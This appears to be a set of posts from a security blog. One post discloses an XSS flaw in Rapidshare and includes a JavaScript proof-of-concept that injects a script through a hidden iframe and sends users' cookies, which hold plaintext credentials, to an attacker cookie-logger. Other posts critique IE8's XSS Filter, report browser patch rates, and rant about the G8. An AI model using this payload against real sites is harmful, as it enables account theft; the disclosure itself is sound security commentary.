hackademix.net

As nktpro graciously told us, the latest of several XSS vulnerabilities affecting Rapidshare is still unpatched, one month after it had been reported to the site owners.
But what can you expect by people who stores both your username and password inside your cookie?
Yes, check it by yourself: a Rapidshare cookie is something like user=12345-%36%37%38%39%30.
In Javascript,
cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) "%" + (s.charCodeAt(0).toString(16)))

Therefore, for a given cookie, access credentials are just
var [login, pwd] = cookie.replace(/.*=/,'').split("-"), pwd = unescape(pwd);

This means that if I embed the following code on this blog post, or even better on the FlashGot homepage, visited by thousands of Rapidshare users, I own an insane lot of accounts in a blink:

var injection = "<script>(" + (function() {
new Image().src = "http://evil.hackademix.net/cookielogger/rapidshare/?c=" +
escape(document.cookie);
}) + ")()</scr" + "ipt>"
var iframe = document.body.appendChild(document.createElement("iframe"));
iframe.style.visibility = "hidden";
iframe.src = "http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22" +
encodeURIComponent(injection);

But luckily, no Rapidshare user would ever visit those shady p0rn/w4r3z sites… ;)

OK, Dustin Diaz (via Paul O’Shannessy) managed to delay my lunch by 30 secs.

var arr = ['a', 'b', 'c', 'c', 'd','e', 'e',
'e', 'e', 'e', 'f', 'e', 'f', 'e',
'f', 'a', 'a', 'a', 'f', 'f', 'f'];
var solution='a b c c d e e <span>e e e</span> f e f e f a a <span>a</span> f f <span>f</span>';
var won = arr.join(' ').replace(/((\w)\s\2\s)((?:\2\s?)+)(?=\s|$)/g, '$1<span>$3</span>') == solution;

Thanks to the wonderful interactive environment of Firefox’s “Error Console” (formerly known as JavaScript Console), my pasta didn’t get too cold :)

So the Hokkaido G8 has food security, climate changes and oil prices in a prominent place of its agenda.

Bush has made accountability a major theme for this year’s G8 meetings, arguing that “we need people who not only make promises, but write checks, for the sake of human rights and human dignity, and for the sake of peace.” The G8 includes Britain, Canada, France, Germany, Italy, Japan, Russia and the United States.

G8 leaders are expected to address an array of political, security and economic issues when they meet for three days. “We expect that they will discuss a broad range of issues, including development, Africa, food security, trade and investment policy, energy security, climate change and issues relating to the global economy, including oil prices.

Obviously, we expect the very same people who became insanely rich thanks to these “issues” ¹ to clean up their profitable mess and save the world.

We expect politicians whose career and position is entirely built upon terror to fight it.
We expect governments driven by ruthless corporate interests to regulate for a planet-sustainable economy, which may require profit margin reductions or even degrowth ².
We expect oil companies, mercenary armies, reconstruction contractors and weapon manufacturers, which rather than bribing the elected people representatives like they used to do in the past, nowadays have their executives directly placed in key government roles as an obscene parody of democracy, to shoot themselves in their feet.

Just like expecting anti-virus vendors to push technologies and approaches making our information systems really safer, or Microsoft to promote open (web) standards…

Notes

I’m happy to learn that IE8 is going to implement a less ambitious version of a feature which NoScript users have enjoyed for more than one year now. The announcement posts seem not to notice the resemblances of “XSS Filter” with NoScript’s Anti-XSS Protection, the most striking being their non-blocking approach: loading the target page in a “neutralized” form and emitting a warning as an info-bar, which doesn’t require interaction and therefore doesn’t necessarily interrupt user’s workflow. But that’s fine: in facts, under the hood, their filter looks quite less sophisticated than NoScript’s InjectionChecker engine, as it is based on a limited blacklist, apparently targeted to the most common reflective XSS attack patterns as seen in proofs of concept:

The XSS Filter defends against the most common XSS attacks but it is not, and will never be, an XSS panacea. […]
The fact that our filter effectively blocks the common “><script>”… pattern we see most frequently in Type-1 XSS attacks is inherently a step forward. Pushing that further and blocking other common cases of reflected XSS where possible, as the XSS Filter does, is extra goodness.
Caveats aside, it will be great to see the tens of thousands of publicly disclosed Type-1 XSS vulnerabilities indexed on sites like XSSed.com simply stop working in IE8.

And there I started smiling: you realize, guys, that those listed “on sites like XSSed.com” are not “XSS vulnerabilities” which will “stop working in IE8″, but just minimal exploit test cases — <script>alert("XSS")<script> — which can be refactored and obfuscated in endless ways to obtain the “IE8 compatible” certification. Yeah, it will be great to see.

Anyway, such a feature being deployed as a built in of a popular browser, rather than as an add-on for an awesome browser, will likely keep script kiddies busy for a while, maybe taking a filter evasion crash course. I just hope it won’t give some site owners an alibi not to fix their bugs, though, putting a “This site is best viewed with IE8” badge near to their McAfee Hackersafe logo.

Final thought: echoing the news on his blog, RSnake did swiftly mention NoScript (thanks), but at the end of that post, calling for adoption of his own bright Content Restrictions idea, he forgot to say that one (experimental) implementation already exists… Do these cross-site scripting filters suppress legitimate cross-site references as well? ;)

According to an independent study by Google Switzerland, IBM Internet Security Systems and CSG ETH Zurich, Mozilla Firefox users are the safest among web surfers (on average), because they are more likely to be running the latest and most secure version of their browser.
This research analyzed the user agent headers sent with Google search queries beetween January 2007 and June 2008 (lots of data points!), finding that more than 83% of the surveyed Firefox browsers were up-to-date. Safari scored 65.3%, Opera 58.1% and IE, not surprising, was the worst with 47.6% (it should be noticed, though, that IE6 has been considered, rightly, an “insecure version”).

The most important factor in this achievement is probably Firefox’s streamlined patching process, which is painless and hard to avoid: in facts, security updates are downloaded in background and proposed to the user as soon as they’re ready. He can refuse installing (e.g. not to interrupt his work), but as soon as the browser restarts they get installed nonetheless.
There’s obviously room for improvement. For instance, upgrading requires administrative privileges. Therefore, a warning to low-permissions users saying something like “You’re running an outdated version of Firefox, please ask your administrator to upgrade” would be helpful. But even so, Firefox already shows a stunning lead over its competitors.

One of the declared limits of this study is that nothing could be said about browser plugins, universally recognized as an endless source of security pain. Even on this side, though, Firefox has some clear advantages: plugins can be disabled either manually, from the Tools|Add-Ons|Plugins panel, or automatically through a centralized blacklist. Last but not least, if you’re really security minded, you can always adopt a whitelist approach.